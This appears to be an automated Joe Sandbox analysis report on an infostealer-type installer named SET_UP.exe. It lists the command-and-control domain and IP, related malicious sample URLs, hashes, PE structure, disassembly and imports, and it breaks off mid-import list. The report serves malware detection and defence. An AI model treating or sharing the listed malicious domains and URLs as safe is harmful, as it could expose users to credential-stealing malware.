https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	SET_UP.exe, 00000000.00000003.1767636057.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767534628.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1782141023.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767425776.0000000003753000.00000004.00000800.00020000.00000000.sdmp	false		high
https://glowscarrytsv.sbs/apis	SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://glowscarrytsv.sbs/apim	SET_UP.exe, 00000000.00000003.1903390472.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.starfieldtech.com/0D	SET_UP.exe	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	SET_UP.exe	false		high
https://glowscarrytsv.sbs/apiv	SET_UP.exe, 00000000.00000003.1805928327.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	SET_UP.exe	false		high
http://x1.c.lencr.org/0	SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	SET_UP.exe, 00000000.00000003.1767534628.00000000036E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	SET_UP.exe	false		high
https://glowscarrytsv.sbs/	SET_UP.exe, 00000000.00000003.1766192279.00000000009F8000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1792533320.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1793505529.0000000000A85000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1793064459.00000000036BB000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1805838052.00000000036C8000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1805928327.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1903390472.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1903390472.0000000000A71000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1792493921.00000000036BB000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1782179637.00000000036B6000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1806395718.00000000036C8000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1821548678.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.starfieldtech.com/repository/sfsroot.crl0P	SET_UP.exe	false		high
https://support.mozilla.org/products/firefoxgro.all	SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro8	SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	SET_UP.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	SET_UP.exe, 00000000.00000003.1767636057.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767534628.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1782141023.0000000003707000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1767425776.0000000003753000.00000004.00000800.00020000.00000000.sdmp	false		high
http://certificates.starfieldtech.com/repository/1604	SET_UP.exe	false		high
https://www.ecosia.org/newtab/	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	SET_UP.exe	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	SET_UP.exe, 00000000.00000003.1794212261.00000000037D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://glowscarrytsv.sbs/api9	SET_UP.exe, 00000000.00000003.1903390472.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.starfieldtech.com/repository/0	SET_UP.exe	false		high
https://glowscarrytsv.sbs/api7	SET_UP.exe, 00000000.00000003.1766192279.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	SET_UP.exe	false		high
https://glowscarrytsv.sbs/B	SET_UP.exe, 00000000.00000003.1903390472.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000002.1906733986.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.microsof	SET_UP.exe, 00000000.00000003.1767425776.0000000003755000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	SET_UP.exe, 00000000.00000003.1793319091.00000000036F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	SET_UP.exe, 00000000.00000003.1767534628.00000000036E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	SET_UP.exe, 00000000.00000003.1766940665.00000000036F9000.00000004.00000800.00020000.00000000.sdmp, SET_UP.exe, 00000000.00000003.1766846038.00000000036FB000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	glowscarrytsv.sbs	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584813
Start date and time:	2025-01-06 15:14:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SET_UP.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 6 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 20.3.187.198, 20.109.210.53, 4.245.163.56
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
09:15:08	API Interceptor	8x Sleep call for process: SET_UP.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://jennadewanunwrapped.net	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://103-198-26-128.hinet-ip.hinet.net/wp/plugins/Tracking/click/php/SuperTracking.html#UUJWakY1bVdkWlZQejIwbVl3cDFHb2haOENXZVhYZlpLTUNSU2x1eEVCdGJtbVhKT0ZWNkVTNjlQSXJDLzI3ekErVVlzTkFZbkh5T29jeG1LcWM4YkJUekd2M2h4amIxRWZ4am4va3cvOVk9	Get hash	malicious	Unknown	Browse	172.66.0.145
	Profile Illustrations and Technical Specifications for This System1.html	Get hash	malicious	HTMLPhisher	Browse	104.21.80.1
	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.208.58
	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	172.64.155.119
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Agent381.msi	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3
	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	un30brGAKP.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Patcher_I5cxa9AN.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	DansMinistrie.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	CrosshairX.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.97.3

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.7966240961351646
TrID:	Win32 Executable (generic) a (10002005/4) 98.88% Inno Setup installer (109748/4) 1.08% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SET_UP.exe
File size:	77'268'426 bytes
MD5:	5b0bafdddbc54bcbc57b87dfb94d0c64
SHA1:	80f9e34f49784e7d097ea9cdf3989133a688c726
SHA256:	cedea9aa30ea6ae6d36937321225d8ad2d8e2ff21412ef2254817b0da028ed71
SHA512:	31904c1b0f616fb1fccd5d293eb5df41a03db998cfe29d34ef88fedd175d6fcaf5d6b4b30219d0c8c8b96b4a2b3c7a9da95ad023a52eaaec2f0209c77ffcc9d9
SSDEEP:	49152:YLJwSihjgb6GLb4SKEs3DyOMC2DlUt0+yO3A32ASNTv0k7Ox1jWV9D:0wSiab67zeCzt0+yO3kSeuOr45
TLSH:	F408B22DBF04396DCF0E29B5659383ECD826DF113B1188FF1694B568BA312DC86BA50D
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	0427315d6d330600

Static PE Info

General

Entrypoint:	0x6c3650
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FB0F970 [Sun Nov 15 09:48:32 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	7c77b89cd344508d2ca812dd1c349c70

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=VeriSign Class 3 Code Signing 2010 CA, OU=Terms of use at https://www.verisign.com/rpa (c)10, OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	27/07/2015 20:00:00 26/07/2018 19:59:59
Subject Chain	CN=NVIDIA Corporation, O=NVIDIA Corporation, L=SANTA CLARA, S=California, C=US
Version:	3
Thumbprint MD5:	F7219078FBE20BC1B98BF8A86BFC0396
Thumbprint SHA-1:	30632EA310114105969D0BDA28FDCE267104754F
Thumbprint SHA-256:	1B5061CF61C93822BDE2433156EEBE1F027C8FA9C88A4AF0EBD1348AF79C61E2
Serial:	14781BC862E8DC503A559346F5DCC518

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 006B8354h
call 00007FBD90853A8Ah
mov eax, dword ptr [006CCEACh]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]
push FFFFFFECh
push eax
call 00007FBD90857E05h
mov edx, dword ptr [006CCEACh]
mov edx, dword ptr [edx]
mov edx, dword ptr [edx+00000188h]
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
push edx
call 00007FBD90857DF1h
xor eax, eax
push ebp
push 006C36D4h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
push 00000001h
call 00007FBD90857154h
call 00007FBD90AFAF53h
mov eax, dword ptr [006B7F7Ch]
push eax
push 006B8014h
mov eax, dword ptr [006CCEACh]
mov eax, dword ptr [eax]
call 00007FBD909FB5C0h
call 00007FBD90AFAFA7h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
jmp 00007FBD90B0655Bh
jmp 00007FBD9084C39Ch
call 00007FBD90AFACEFh
mov eax, 00000001h
call 00007FBD9084CE85h
call 00007FBD9084C7E0h
mov eax, dword ptr [006CCEACh]
mov eax, dword ptr [eax]
mov edx, 006C3868h
call 00007FBD909FB097h
push 00000005h
mov eax, dword ptr [006CCEACh]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000188h]
push eax
call 00007FBD90857B1Ah
mov eax, dword ptr [006CCEACh]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2db000	0x97	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2d6000	0x3934	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2de000	0xbea00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x49acc0a	0x39c0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2dd000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2d69e4	0x8b8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x2da000	0xbde	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2bf850	0x2bfa00	94768d0e79cacab8f82f6b8ab2b7b8e0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x2c1000	0x2874	0x2a00	a8ea4b7956e1b51171165830d3ce6a78	False	0.5008370535714286	data	6.108103601351959	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x2c4000	0x91c8	0x9200	586ad30a8215d7030e5320e27bce3ca4	False	0.5825128424657534	data	6.266972371639043	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x2ce000	0x78dc	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2d6000	0x3934	0x3a00	9a10d495545bbe0d0c173e5160012f77	False	0.33189655172413796	data	5.193230529657497	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x2da000	0xbde	0xc00	2937589ef8b41cb66bf6ca8aa8fcd7af	False	0.349609375	data	4.403135759875134	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x2db000	0x97	0x200	1fa460bfb714a17109f4d1b931b695e1	False	0.25	data	1.855121367761671	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x2dc000	0x4c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x2dd000	0x5d	0x200	ab111d8950af4c4fa175bda002954fdb	False	0.189453125	data	1.3651255461701644	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x2de000	0xbea00	0xbea00	4e36fd7c06cb7b9a5ab7e23518c8e5ef	False	0.36351434426229506	data	5.495461641285404	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x2ded68	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x2dee9c	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x2defd0	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x2df104	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x2df238	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x2df36c	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x2df4a0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x2df5d4	0xd28	Device independent bitmap graphic, 48 x 48 x 8, image size 0, resolution 3780 x 3780 px/m, 256 important colors			0.16508313539192399
RT_BITMAP	0x2e02fc	0x32a	Device independent bitmap graphic, 16 x 16 x 24, image size 770, resolution 3779 x 3779 px/m			0.2074074074074074
RT_ICON	0x2e0628	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.06961416693789389
RT_ICON	0x322650	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.04637406837809062
RT_ICON	0x332e78	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.1620217288615966
RT_ICON	0x3370a0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.24564315352697094
RT_ICON	0x339648	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.3067542213883677
RT_ICON	0x33a6f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5044326241134752
RT_STRING	0x33ab58	0x210	data			0.3125
RT_STRING	0x33ad68	0x440	data			0.37683823529411764
RT_STRING	0x33b1a8	0x2b4	data			0.45809248554913296
RT_STRING	0x33b45c	0x214	data			0.4605263157894737
RT_STRING	0x33b670	0x3e4	data			0.3885542168674699
RT_STRING	0x33ba54	0x3a0	data			0.4191810344827586
RT_STRING	0x33bdf4	0x1ec	data			0.5609756097560976
RT_STRING	0x33bfe0	0xcc	data			0.6666666666666666
RT_STRING	0x33c0ac	0x294	data			0.4681818181818182
RT_STRING	0x33c340	0x3e8	data			0.372
RT_STRING	0x33c728	0x488	data			0.41293103448275864
RT_STRING	0x33cbb0	0x418	data			0.28435114503816794
RT_STRING	0x33cfc8	0x370	data			0.4147727272727273
RT_STRING	0x33d338	0x39c	data			0.41233766233766234
RT_STRING	0x33d6d4	0x4a4	data			0.382996632996633
RT_STRING	0x33db78	0x384	data			0.37333333333333335
RT_STRING	0x33defc	0x454	data			0.3935018050541516
RT_STRING	0x33e350	0x210	data			0.39015151515151514
RT_STRING	0x33e560	0xbc	data			0.6542553191489362
RT_STRING	0x33e61c	0x100	data			0.62890625
RT_STRING	0x33e71c	0x338	data			0.4223300970873786
RT_STRING	0x33ea54	0x3f0	data			0.34226190476190477
RT_STRING	0x33ee44	0x314	data			0.38578680203045684
RT_STRING	0x33f158	0x2f8	data			0.38026315789473686
RT_RCDATA	0x33f450	0x10	data			1.5
RT_RCDATA	0x33f460	0x1800	PE32+ executable (console) x86-64, for MS Windows	English	United States	0.3924153645833333
RT_RCDATA	0x340c60	0xb6c	data			0.5355677154582763
RT_RCDATA	0x3417cc	0x147	Delphi compiled form 'TMainForm'			0.746177370030581
RT_RCDATA	0x341914	0x480	Delphi compiled form 'TNewDiskForm'			0.5034722222222222
RT_RCDATA	0x341d94	0x400	Delphi compiled form 'TSelectFolderForm'			0.5087890625
RT_RCDATA	0x342194	0x4b5	Delphi compiled form 'TSelectLanguageForm'			0.5004149377593361
RT_RCDATA	0x34264c	0x7ff	Delphi compiled form 'TUninstallProgressForm'			0.4054714215925745
RT_RCDATA	0x342e4c	0x55c	Delphi compiled form 'TUninstSharedFileForm'			0.41690962099125367
RT_RCDATA	0x3433a8	0x2ac9	Delphi compiled form 'TWizardForm'			0.19811923673879303
RT_GROUP_CURSOR	0x345e74	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x345e88	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x345e9c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x345eb0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x345ec4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x345ed8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x345eec	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x345f00	0x5a	data	English	United States	0.7666666666666667
RT_VERSION	0x345f5c	0x514	data	English	United States	0.2923076923076923
RT_MANIFEST	0x346470	0x726	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4005464480874317

Imports

DLL	Import
mpr.dll	WNetEnumResourceW, WNetGetUniversalNameW, WNetGetConnectionW, WNetCloseEnum, WNetOpenEnumW
comdlg32.dll	GetSaveFileNameW, GetOpenFileNameW
comctl32.dll	FlatSB_SetScrollInfo, InitCommonControls, ImageList_DragMove, ImageList_Destroy, _TrackMouseEvent, ImageList_DragShowNolock, ImageList_Add, FlatSB_SetScrollProp, ImageList_GetDragImage, ImageList_Create, ImageList_EndDrag, ImageList_DrawEx, ImageList_SetImageCount, FlatSB_GetScrollPos, FlatSB_SetScrollPos, InitializeFlatSB, FlatSB_GetScrollInfo, ImageList_Write, ImageList_SetBkColor, ImageList_GetBkColor, ImageList_BeginDrag, ImageList_GetIcon, ImageList_GetImageCount, ImageList_DragEnter, ImageList_GetIconSize, ImageList_SetIconSize, ImageList_Read, ImageList_DragLeave, ImageList_Draw, ImageList_Remove
shell32.dll	SHBrowseForFolderW, ExtractIconW, SHGetMalloc, SHGetFileInfoW, SHChangeNotify, Shell_NotifyIconW, ShellExecuteW, SHGetPathFromIDListW, ShellExecuteExW
user32.dll	CopyImage, CreateWindowExW, GetMenuItemInfoW, SetMenuItemInfoW, DefFrameProcW, GetDCEx, GetMessageW, PeekMessageW, MonitorFromWindow, GetDlgCtrlID, ScrollWindowEx, SetTimer, WindowFromPoint, BeginPaint, RegisterClipboardFormatW, FrameRect, MapVirtualKeyW, OffsetRect, IsWindowUnicode, RegisterWindowMessageW, FillRect, GetMenuStringW, DispatchMessageW, SendMessageA, DefMDIChildProcW, EnumWindows, GetClassInfoW, GetSystemMenu, WaitForInputIdle, ShowOwnedPopups, GetScrollRange, GetScrollPos, SetScrollPos, GetActiveWindow, SetActiveWindow, DrawEdge, InflateRect, GetKeyboardLayoutList, OemToCharBuffA, LoadBitmapW, DrawFocusRect, EnumChildWindows, GetScrollBarInfo, SendNotifyMessageW, ReleaseCapture, UnhookWindowsHookEx, LoadCursorW, GetCapture, SetCapture, CreatePopupMenu, ScrollWindow, ShowCaret, GetMenuItemID, GetLastActivePopup, CharLowerBuffW, GetSystemMetrics, SetWindowLongW, PostMessageW, DrawMenuBar, 